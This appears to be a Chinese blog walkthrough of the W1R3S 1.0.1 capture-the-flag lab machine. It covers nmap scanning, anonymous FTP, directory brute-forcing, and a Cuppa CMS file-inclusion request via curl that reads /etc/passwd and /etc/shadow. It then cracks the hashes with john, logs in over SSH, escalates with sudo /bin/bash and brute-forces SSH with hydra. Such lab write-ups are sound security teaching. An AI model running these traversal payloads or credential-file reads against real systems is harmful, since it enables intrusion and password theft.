W1R3S 1.0.1

靶机设置
W1R3S 1.0.1

打开设置,靶机设置为NAT模式,方便nmap扫描

扫描存活主机

查询自己ip

ip a

W1R3S 1.0.1

以sudo权限扫描自己所在网段存活的主机,-sn是不使用端口扫描,以最快的速度对整个网段进行扫描

sudo nmap -sn 192.168.188.0/24

W1R3S 1.0.1

发现靶机ip地址,应该在靶机上线前后都进行扫描,比较两次结果

端口扫描

sudo nmap -sT --min-rate 10000 -p- 192.168.188.166 -oA nmapscan/ports

以最小速率10000对所有端口(1-65535)进行扫描,10000是权衡后结果,大于10000容易出现遗漏,-p是端口参数-p-表名对所有端口进行扫描,理论上要进行两次扫描,以免出现遗漏,-sT表示进行TCP扫描,相比于默认参数-sS更加精确,-o是指定输出格式,-oA则是全格式输出,后面常跟文件名

W1R3S 1.0.1

将探测到的端口合并赋值给ports变量

ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')

W1R3S 1.0.1

awk -F ‘/’ ‘{print $1}’是将awk中默认的空格分割符改为/,以/为分割符将输入的内容进行分割,‘{print $1}’的意思是将第一个字符进行输出,经上述修改后字段变为/前面包含的内容

对靶机指定端口进行详细扫描,探测开放服务版本,探测操作系统版本,正式环境可能有网络延迟,建议扫两遍

sudo nmap -sT -sV -O -p21,22,80,3306 192.168.188.166 -oA nmapscan/detail

W1R3S 1.0.1

-sT表示进行TCP扫描(三握手),-p表示待扫描的端口(后跟待扫描的端口21,22,80,3306)-sV表示探测开放服务的版本,-O表示探测操作系统版本

W1R3S 1.0.1

分析:21端口是ftp服务,vsftpd,d一般指的是demon,可以实现匿名登录

sudo nmap -sU --top-ports 20 192.168.188.166 -oA nmapscan/udp

W1R3S 1.0.1

-sU表示进行udp扫描,–top-ports 20则是扫描常用的20个端口,-oA进行全格式输出,虽然UDP端口暴露的攻击面是比较小的,但在信息搜集阶段就应该搜集较全的信息,当TCP端口没有找到突破口的时候,说不定UDP也是一条路。

使用nmap自带的vuln脚本进行扫描,nmap里面的脚本会对端口的历史常见漏洞进行扫描探测,–script=vuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写

nmap -–script=vuln –p21,22,80,3306 192.168.200.139

W1R3S 1.0.1

发现了一个CMS为Wordpress的登录页面。然而拒绝服务这种攻击方式对我们没啥启发,一会可以重点关注一下Wordpress的cms有啥漏洞

信息搜集总结

完成四大扫描,确定渗透策略

  1. 端口扫描,了解哪些端口是开放的
  2. 详细信息扫描(最重要)
  3. udp扫描
  4. nmap漏洞脚本扫描
  5. 确定初步的渗透优先级和策略

一共有四个端口:21,22,80,3306。

  • 80端口是http的web端口,且已经知道里面可能有wordpress的cms,具有较大的攻击面。这应该是最有可能的突破口
  • 22是ssh远程登录端口,通常没啥漏洞,但是也不绝对,有可能存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在最后考虑。
  • 21端口是ftp文件传输协议的端口,有可能存在匿名登录,FTP服务器中也可能有一些信息,也有一定的攻击面。FTP的突破口比较单一,操作比较容易。
  • 3306端口是MySQL数据库的端口,前面漏洞扫描也并没有发现太多的思路,不过如果能登录数据库,应该也有信息。

综上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登录,21端口的操作比较容易,我们不妨先试试21端口,再看80端口,接着看3306数据库,最后尝试22远程登录。

FTP渗透

尝试ftp能否通过匿名用户直接登录

ftp 主机ip anonymous

W1R3S 1.0.1

提示使用二进制模式传输文件

ftp命令行可以使用?查看可以使用的命令,进入content文件夹

?
ls
cd content

W1R3S 1.0.1

发现对每个文件都有读写的权限,ftp命令行中prompt是关闭交互模式的提示,避免在下载多个文件时的确认

mget可从远程FTP服务器上下载多个文件或文件夹,将content目录中的文件全部下载

mget *.txt

W1R3S 1.0.1

切换到别的目录将目录内的文件下载

cd docs
ls
get worktodo.txt
cd ..
cd new-employee
get employee-names.txt

W1R3S 1.0.1

get适用于只一次只下载一个文件的场景,mget一次可以下载多个文件

将下载的文件一起查看

W1R3S 1.0.1
W1R3S.inc中inc时incorporation的缩写,W1R3S采用了leet speak语言,翻译过来时wires,意思时这是wires公司的新的ftp服务器

第二串像md5加密,用hash-identifier去识别,发现最有可能是md5加密

W1R3S 1.0.1

破解出来是This is not a password,对明文用md5进行校验

W1R3S 1.0.1

和密文一样

对第三个密文进行分析,发现可能是base64,对他进行破解

W1R3S 1.0.1

-d是进行解码而非编码,又发现一个没用信息

第四串就是个ascii艺术字,写了the wires.inc,依然没用

最后两段都是上下反转,前后颠倒的密文,对他们进行破解

第一段密文,ı don’t thınk thıs ıs the way to root!

第二段,we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

还有一个员工表,暂时不知道有什么用,先放着不管

base64特征:

base64除了数字和大小写字母,剩下的特殊符号只有3个。
第一是看特殊字符,或者说是正则规则匹配
+ / = 0-9 a-z A-Z
确认没有其他特殊字符就可以尝试base64的解码
第二就是 = 只在文末出现,最多2个。原因是补足
第三就是一些特殊情况。稍微复杂一点,主要是针对短字符串,首先base64的字符串一定能被4整数。比如root可以被4整除,但它其实并不是base64编码,因为解码之后的ascii码不在32-126之间,会有乱码。所以这里的主要判断方法还是解码看有没有乱码。这里还有一个特例,就是长度为1的非base64的字符串解码是空。

WEB渗透

发现攻击机不被允许登录

mysql -h 192.168.188.166 -u root -p

W1R3S 1.0.1

打开浏览器看下80端口跑的什么服务

W1R3S 1.0.1

发现默认网页,打开源码也没发现有用信息

目录爆破

执行目录爆破

sudo gobuster dir -u http://192.168.188.166 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

W1R3S 1.0.1

dir指定gobuster 执行目录枚举模式,-u指定ip地址,–wordlist=指定使用的字典,/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt是本地dirbuster的字典

发现一共有两个网页可以打开,修改hosts文件尝试访问wordpress也不行,尝试Cuppa CMS

W1R3S 1.0.1

database拼写错误,对于这种信息要敏感

W1R3S 1.0.1

填写账号和密码,发现管理员账户已经存在

W1R3S 1.0.1

使用searchsploit搜索是否有cupper cms的漏洞

searchsploit Cuppa cms

W1R3S 1.0.1

发现只有一个可以利用的漏洞,将他下载下来

searchsplloit Cuppa -m 25971.txt

打开查看可利用的漏洞

W1R3S 1.0.1

发现是个文件包含,并且存在编码,直接复制网址尝试是否能利用

W1R3S 1.0.1

发现并不能直接利用,安装的网址显示的url是administrator

W1R3S 1.0.1

怀疑cuppa被改成了administrator,修改一下继续尝试

http://192.168.188.174/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

W1R3S 1.0.1

发现有变化,但是没有读取出passwd,源码也没有泄露,怀疑采用post方式传参,可以通过网络上存在的cuppa cms查看源码

W1R3S 1.0.1

github的cuppa cms的文件中发现使用的是post的方式进行传参,漏洞依然存在

curl直接传参,发现还是没能获取获取passwd的内容,只返回了一些html和css的代码,查看curl的使用方法

curl --help all | grep url

W1R3S 1.0.1

发现url编码的使用方式,加上之后继续尝试

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.188.174/administrator/alerts/alertConfigField.php?

W1R3S 1.0.1

第一个部分填写要url编码的内容,并将第一部分传给第二部分的处理程序

密码爆破

W1R3S 1.0.1

目录爆破成功,passwd的内容已经被显示,每个用户的第二段都是x,说明密码以哈希的方式存储在shadow文件中,回去查看shadow文件能否读取

W1R3S 1.0.1

读取成功,将shadow文件中存在哈希值的用户保留,破解密码

W1R3S 1.0.1

vim编辑器中进入可视模式dd删除比较快

直接使用john对shadow.hash进行破解,如果不成功再指定特定的参数

John shadow.hash

W1R3S 1.0.1

一般www-data是功能账号,w1r3s用户可能权限较高,尝试ssh登录

sudo ssh w1r3s@192.168.188.174

W1R3S 1.0.1

登录成功,查看当前用户和权限

whoami
id
uname -a
sudo -l

W1R3S 1.0.1

whoami用于查看当前用户,id显示当前用户id组id和所属组的id以及权限,uname -a列出系统的详细信息,sudo -l用于列出当前用户可以执行运行的sudo命令,发现拥有所有权限,进行提权

以root身份启动新的bash shell

sudo /bin/bash

W1R3S 1.0.1

再次确定用户身份和权限,cd进入root目录,ls出文件夹,直接查看flag

后记

其他方面若出不了结果,可以查看22端口,尝试进行暴力破解

先构造用户字典,尝试使用hydra暴力破解

hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.188.174 -t 4

W1R3S 1.0.1

-L指定用户字典,-P指定密码字典,ssh://使用ssh远程登录,-t 4指定线程为4,成功爆破出w1r3s的密码和用户名,后面过程不在赘述

文件目录

自动执行文件:crontab存放于/etc/crontab或者在/etc/cron.d目录下,用于自动执行命令,一般可用于提权

用户文件:大多数基于Debian的Linux发行版,包括Ubuntu中,用户账户信息通常存储在/etc/passwd文件中,密码一般存储在/etc/shadow文件中

网站文件:在Linux系统中,特别是基于Debian和Ubuntu的系统中,网站的默认文档根目录通常是/var/www/var/www/htmlApache服务器,默认的文档根目录通常是/var/www/html,Nginx服务器默认目录通常为/var/www/usr/share/nginx/html等目录

bash:bash一般位于/bin/bash中,使用这个命令可以打开bashshell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇